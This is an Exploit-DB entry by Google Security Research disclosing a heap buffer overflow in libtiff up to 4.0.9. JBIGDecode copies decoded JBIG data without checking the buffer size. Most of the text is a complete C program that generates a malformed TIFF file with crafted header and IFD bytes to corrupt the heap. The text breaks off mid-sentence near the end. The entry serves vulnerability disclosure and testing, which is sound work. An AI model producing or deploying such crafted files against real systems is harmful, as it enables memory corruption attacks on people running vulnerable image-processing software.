Exploit-DB #45694
Description: libtiff 4.0.9 - Decodes Arbitrarily Sized JBIG into a Target Buffer
Type: dos
Platform: linux
Date: 2018-10-25
Author: Google Security Research

Exploit:
/*
libtiff up to and including 4.0.9 decodes arbitrarily-sized JBIG into a buffer, ignoring the buffer size.

The issue occurs because JBIGDecode entirely ignores the size of the buffer that is passed to it:


static int JBIGDecode(TIFF* tif, uint8* buffer, tmsize_t size, uint16 s)
{
	struct jbg_dec_state decoder;
	int decodeStatus = 0;
	unsigned char* pImage = NULL;
	(void) size, (void) s;
	if (isFillOrder(tif, tif->tif_dir.td_fillorder))
	{
		TIFFReverseBits(tif->tif_rawdata, tif->tif_rawdatasize);
	}
	jbg_dec_init(&decoder);
(...)
	decodeStatus = jbg_dec_in(&decoder, (unsigned char*)tif->tif_rawdata,
				  (size_t)tif->tif_rawdatasize, NULL);
	if (JBG_EOK != decodeStatus)
	{
		(...)
	}
	pImage = jbg_dec_getimage(&decoder, 0);
	_TIFFmemcpy(buffer, pImage, jbg_dec_getsize(&decoder));
	jbg_dec_free(&decoder);
	return 1;
}


The 4th line above is apparently to silence compiler warnings; the code proceeds to decode the JBIG contents, and then blindly copies as many bytes as decoded into the target buffer by means of _TIFFmemcpy.

The attack primitive here ends up as follows:
1) The attacker gets to perform an allocation of a size of his choosing.
2) The attacker gets to write a pretty arbitrary amount of data of his choosing into this buffer.

Reproducing testcases can be generated using the following C code:
=============================================================================
*/

#include <stdlib.h>
#include <stdio.h>
#include <sys/stat.h>
#include <stdint.h>
#include "jbig.h"


void output_bie(unsigned char *start, size_t len, void *file)
{
  fwrite(start, 1, len, (FILE *) file);

  return;
}

int main(int argc, char**argv)
{
  FILE* inputfile = fopen(argv[1], "rb");
  FILE* outputfile = fopen(argv[2], "wb");

  // Write the hacky TIF header.
  unsigned char buf[] = {
    0x49, 0x49, // Identifier.
    0x2A, 0x00, // Version.
    0xCA, 0x03, 0x00, 0x00, // First IFD offset.
    0x32, 0x30, 0x30, 0x31,
    0x3a, 0x31, 0x31, 0x3a,
    0x32, 0x37, 0x20, 0x32,
    0x31, 0x3a, 0x34, 0x30,
    0x3a, 0x32, 0x38, 0x00,
    0x38, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00,
    0x38, 0x00, 0x00, 0x00,
    0x00, 0x01, 0x00, 0x00
  };
  fwrite(&(buf[0]), sizeof(buf), 1, outputfile);

  // Read the inputfile.
  struct stat st;
  stat(argv[1], &st);
  size_t size = st.st_size;
  unsigned char* data = malloc(size);
  fread(data, size, 1, inputfile);

  // Calculate how many "pixels" we have in the input.
  unsigned char *bitmaps[1] = { data };
  struct jbg_enc_state se;

  jbg_enc_init(&se, size * 8, 1, 1, bitmaps, output_bie, outputfile);
  jbg_enc_out(&se);
  jbg_enc_free(&se);

  // The raw JBIG data has been written, now write the IFDs for the TIF file.
  unsigned char ifds[] = {
    0x0E, 0x00, // Number of entries.     +0

    0xFE, 0x00, // Subfile type.          +2
    0x04, 0x00, // Datatype: LONG.        +6
    0x01, 0x00, 0x00, 0x00, // 1 element. +10
    0x00, 0x00, 0x00, 0x00, // 0          +14
    0x00, 0x01, // IMAGE_WIDTH            +16
    0x03, 0x00, // Datatype: SHORT.       +18
    0x01, 0x00, 0x00, 0x00, // 1 element. +22
    0x96, 0x00, 0x00, 0x00, // 96 hex width.  +26
    0x01, 0x01, // IMAGE_LENGTH           +28
    0x03, 0x00, // SHORT                  +30
    0x01, 0x00, 0x00, 0x00, // 1 element  +34
    0x96, 0x00, 0x00, 0x00, // 96 hex length. +38
    0x02, 0x01, // BITS_PER_SAMPLE        +40
    0x03, 0x00, // SHORT                  +42
    0x01, 0x00, 0x00, 0x00, // 1 element  +46
    0x01, 0x00, 0x00, 0x00, // 1          +50
    0x03, 0x01, // COMPRESSION            +52
    0x03, 0x00, // SHORT                  +54
    0x01, 0x00, 0x00, 0x00, // 1 element  +58
    0x65, 0x87, 0x00, 0x00, // JBIG       +62
    0x06, 0x01, // PHOTOMETRIC            +64
    0x03, 0x00, // SHORT                  +66
    0x01, 0x00, 0x00, 0x00, // 1 element  +70
    0x00, 0x00, 0x00, 0x00,          // / +74
    0x11, 0x01, // STRIP_OFFSETS          +78
    0x04, 0x00, // LONG                   +80
    0x13, 0x00, 0x00, 0x00, // 0x13 elements  +82
    0x2C, 0x00, 0x00, 0x00, // Offset 2C in file  +86
    0x15, 0x01, // SAMPLES_PER_PIXEL      +90
    0x03, 0x00, // SHORT                  +92
    0x01, 0x00, 0x00, 0x00, // 1 element  +94
    0x01, 0x00, 0x00, 0x00, // 1          +98
    0x16, 0x01, // ROWS_PER_STRIP         +102
    0x04, 0x00, // LONG                   +104
    0x01, 0x00, 0x00, 0x00, // 1 element  +106
    0xFF, 0xFF, 0xFF, 0xFF, // Invalid    +110
    0x17, 0x01, // STRIP_BYTE_COUNTS      +114
    0x04, 0x00, // LONG                   +116
    0x13, 0x00, 0x00, 0x00, // 0x13 elements  +118
    0xC5, 0xC0, 0x00, 0x00, // Read 0xC0C5 bytes for the strip? +122
    0x1A, 0x01, // X_RESOLUTION
    0x05, 0x00, // RATIONAL
    0x01, 0x00, 0x00, 0x00, // 1 element
    0x1C, 0x00, 0x00, 0x00,
    0x1B, 0x01, // Y_RESOLUTION
    0x05, 0x00, // RATIONAL
    0x01, 0x00, 0x00, 0x00, // 1 Element
    0x24, 0x00, 0x00, 0x00,
    0x28, 0x01, // RESOLUTION_UNIT
    0x03, 0x00, // SHORT
    0x01, 0x00, 0x00, 0x00, // 1 Element
    0x02, 0x00, 0x00, 0x00, // 2
    0x0A, 0x01, // FILL_ORDER
    0x03, 0x00, // SHORT
    0x01, 0x00, 0x00, 0x00, // 1 Element
    0x02, 0x00, 0x00, 0x00, // Bit order inverted.
    0x00, 0x00, 0x00, 0x00 };

  // Adjust the offset for the IFDs.
  uint32_t ifd_offset = ftell(outputfile);
  fwrite(&(ifds[0]), sizeof(ifds), 1, outputfile);
  fseek(outputfile, 4, SEEK_SET);
  fwrite(&ifd_offset, sizeof(ifd_offset), 1, outputfile);

  // Adjust the strip size properly.
  fseek(outputfile, ifd_offset + 118, SEEK_SET);
  fwrite(&ifd_offset, sizeof(ifd_offset), 1, outputfile);

  fclose(outputfile);
  fclose(inputfile);
  return 0;
}

/*
===============================================================
Build & link with -ljbig.

You can then create a new TIFF file that corrupts the heap by doing